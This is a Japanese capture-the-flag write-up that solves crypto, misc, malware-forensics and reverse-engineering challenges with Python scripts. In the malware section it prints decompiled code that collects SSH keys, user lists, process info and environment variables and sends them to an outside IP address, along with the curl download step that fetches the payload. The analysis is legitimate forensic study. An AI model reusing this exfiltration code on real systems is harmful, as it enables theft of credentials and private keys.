この大会は2021/11/6 9:00(JST)~2021/11/8 9:00(JST)に開催されました。
今回もチームで参戦。結果は2864点で827チーム中70位でした。
自分で解けた問題をWriteupとして書いておきます。
xorpals (crypto)
各行で、flagが'd'から始まることを前提にXORのキーを求め、復号し、flagの形式に合うものを探す。
#!/usr/bin/env python3 with open('flags.txt', 'r') as f: lines = f.read().splitlines() for line in lines: enc = bytes.fromhex(line) k = enc[0] ^ ord('d') flag = '' for c in enc: flag += chr(c ^ k) if flag.startswith('dam'): print(flag) break
dam{antman_EXPANDS_inside_tHaNoS_never_sinGLE_cHaR_xOr_yeet}
bad-patterns (misc)
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. Lpthq jrvym!frpos"vmt!cpit-"fsntgfxeuwu$aeksmsdkqk fnlx,!uhh eq#iivupsd!vhqppt#mndkgmdvpw$uu"oebpth$eu"gslpth$mbiqe bnluub0#Yt!gqmm!cg$mjplq wgqman.#uuju#rotvuyd!g{irdkwetjqq$umndqcp"oebptlw okvm vv#eljsxmp!g{$eb"fsmnqgs dqqwerwdx.!Fxms!cxxe!kuyrf"gslpt#mn!thtrfjhrdftlx jp#zomwsxaug#zemkw$etuh$cjnoym!frposg#iu!hxkibv#rumnd$pbtletvt1$Eyehttfwu$sjpw$odedicbv#guqkgetbv#roo"svojfhrt-"vynu"lr dwota!sxm phimcjc#hetguynu"pslmkw$aokp$ie"hwt!ndfoswp2
1文字目から1文字ごとにどのように暗号しているかを見ていく。
L( 76) -> L( 76) 0 o(111) -> p(112) +1 r(114) -> t(116) +2 e(101) -> h(104) +3 m(109) -> q(113) +4 ( 32) -> ( 32) 0 i(105) -> j(106) +1 p(112) -> r(114) +2 s(115) -> v(118) +3 u(117) -> y(121) +4 m(109) -> m(109) 0 ( 32) -> !( 33) +1
この繰り返しになっているようだ。同じように問題の平文を暗号化する。
pt = 'bagelarenotwholewheatsometimes' flag = '' for i in range(len(pt)): flag += chr(ord(pt[i]) + (i % 5)) flag = 'dam{%s}' % flag print flag
dam{bbihpasgqstxjrpexjhettqpitjohw}
sneaky-script (malware)
mal.shからcurlでUserAgentを指定し、54.80.43.46にアクセスしている。pcapから該当するパケットはhttpでフィルタリングして簡単に見つかるので、レスポンスのデータをエクスポートする。
mal.shからエクスポートしたデータをbase64デコードし、python3で実行していることもわかる。エクスポートしたデータをbase64デコードする。
#!/usr/bin/env python3 import base64 with open('.cacheimg', 'r') as f: data = f.read() data = base64.b64decode(data) with open('cacheimg.pyc', 'wb') as f: f.write(data)
すると、pycのデータになるので、デコンパイルする。
$ uncompyle6 cacheimg.pyc # uncompyle6 version 3.7.4 # Python bytecode 3.6 (3379) # Decompiled from: Python 3.6.9 (default, Jan 26 2021, 15:33:00) # [GCC 8.4.0] # Embedded file name: /tmp/tmpaliidej5 # Compiled at: 2021-09-26 09:59:31 # Size of source mod 2**32: 2900 bytes import array, base64, fcntl, http.client, json, re, socket, struct, os, uuid def get_net_info(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) g = array.array('B', b'\x00' * 4096) y = struct.unpack('iL', fcntl.ioctl(s.fileno(), 35090, struct.pack('iL', 4096, g.buffer_info()[0])))[0] n = g.tobytes() a = [] for i in range(0, y, 40): c = n[i:i + 16].split(b'\x00', 1)[0] c = c.decode() m = n[i + 20:i + 24] v = f"{m[0]}.{m[1]}.{m[2]}.{m[3]}" a.append((c, v)) return a def get_users(): with open('/etc/passwd', 'r') as (f): x = [x.strip() for x in f.readlines()] g = [] for z in x: a = z.split(':') if int(a[2]) < 1000 or int(a[2]) > 65000: if a[0] != 'root': continue g.append((a[2], a[0], a[5], a[6])) return g def get_proc(): n = [] a = os.listdir('/proc') for b in a: try: int(b) x = os.readlink(f"/proc/{b}/exe") with open(f"/proc/{b}/cmdline", 'rb') as (f): s = (b' ').join(f.read().split(b'\x00')).decode() n.append((b, x, s)) except: continue return n def get_ssh(u): s = [] try: x = os.listdir(u + '/.ssh') for y in x: try: with open(f"{u}/.ssh/{y}", 'r') as (f): s.append((y, f.read())) except: continue except: pass return s def build_output(net, user, proc, ssh): out = {} out['net'] = net out['proc'] = proc out['env'] = dict(os.environ) out['user'] = [] for i in range(len(user)): out['user'].append({'info':user[i], 'ssh':ssh[i]}) return out def send(data): c = http.client.HTTPConnection('34.207.187.90') p = json.dumps(data).encode() k = b'8675309' d = bytes([p[i] ^ k[(i % len(k))] for i in range(len(p))]) c.request('POST', '/upload', base64.b64encode(d)) x = c.getresponse() def a(): key = ':'.join(re.findall('..', '%012x' % uuid.getnode())) if '4b:e1:d6:a8:66:be' != key: return net = get_net_info() user = get_users() proc = get_proc() ssh = [] for _, _, a, _ in user: ssh.append(get_ssh(a)) data = build_output(net, user, proc, ssh) send(data) try: a() except: pass # okay decompiling cacheimg.pyc
このコードを見ると、さまざまなデータを収集し、加工して送信している。pcapから送信データをエクスポートし、元に戻していく。戻したら、各種データを見ながらフラグを探す。最終的には環境変数FLAGに設定されていた。
#!/usr/bin/env python3 import base64 import json with open('send_data', 'r') as f: data = f.read() ## recover data before send function execution data = base64.b64decode(data) k = b'8675309' p = bytes([data[i] ^ k[(i % len(k))] for i in range(len(data))]) data = json.loads(p) ## gen env var env = data['env'] for k, v in env.items(): print(f"{k}={v}")
環境変数を取得した結果は以下の通り。
SHELL=/bin/bash SESSION_MANAGER=local/ubuntu:@/tmp/.ICE-unix/5068,unix/ubuntu:/tmp/.ICE-unix/5068 QT_ACCESSIBILITY=1 COLORTERM=truecolor XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg XDG_MENU_PREFIX=gnome- GNOME_DESKTOP_SESSION_ID=this-is-deprecated GNOME_SHELL_SESSION_MODE=ubuntu SSH_AUTH_SOCK=/run/user/1000/keyring/ssh XMODIFIERS=@im=ibus DESKTOP_SESSION=ubuntu SSH_AGENT_PID=4988 GTK_MODULES=gail:atk-bridge PWD=/home/jim XDG_SESSION_DESKTOP=ubuntu LOGNAME=jim XDG_SESSION_TYPE=x11 GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1 XAUTHORITY=/run/user/1000/gdm/Xauthority GJS_DEBUG_TOPICS=JS ERROR;JS LOG WINDOWPATH=2 HOME=/home/jim USERNAME=jim IM_CONFIG_PHASE=1 LANG=en_US.UTF-8 LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36: XDG_CURRENT_DESKTOP=ubuntu:GNOME VTE_VERSION=6003 GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/20a1c576_0ae5_4a9f_9bed_162e06ba9032 INVOCATION_ID=b5c7562742e44663aa23b8d7ef58d4b7 MANAGERPID=4725 FLAG=dam{oh_n0_a1l_muh_k3y5_are_g0n3}★ GJS_DEBUG_OUTPUT=stderr LESSCLOSE=/usr/bin/lesspipe %s %s XDG_SESSION_CLASS=user TERM=xterm-256color LESSOPEN=| /usr/bin/lesspipe %s USER=jim GNOME_TERMINAL_SERVICE=:1.139 DISPLAY=:0 SHLVL=2 QT_IM_MODULE=ibus XDG_RUNTIME_DIR=/run/user/1000 JOURNAL_STREAM=8:110255 XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin GDMSESSION=ubuntu DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus OLDPWD=/home/jim/Desktop _=/usr/bin/python3
dam{oh_n0_a1l_muh_k3y5_are_g0n3}
seed (rev)
UNIXTIMEで先月1日以降のブルートフォースで条件にあてはまるものを探す。
#!/usr/bin/env python3 import random import hashlib def hash(text): return hashlib.sha256(str(text).encode()).hexdigest() def get_flag(seed): random.seed(seed, version=2) x = random.random() flag = hash(x) return x, flag rs = [0.3322089622063289, 0.10859805708337256, 0.39751456956943265, 0.6194981263678604, 0.32054505821893853, 0.2674908181379442, 0.5379388350878211, 0.7799698997586163, 0.6893538761284775, 0.7171513961367021, 0.29362186264112344, 0.06571100672753238, 0.9607588522085679, 0.33534977507836194, 0.07384192274198853, 0.1448081453121044] for s in range(1633014000, 1636124400): x, flag = get_flag(s) if x == 0.3322089622063289: for i in range(1, 16): x, flag = get_flag(s + i) assert x == rs[i] x, flag = get_flag(s + 16) assert 'b9ff3ebf' in flag print(f"dam{{{flag}}}") break
dam{f6f73f022249b67e0ff840c8635d95812bbb5437170464863eda8ba2b9ff3ebf}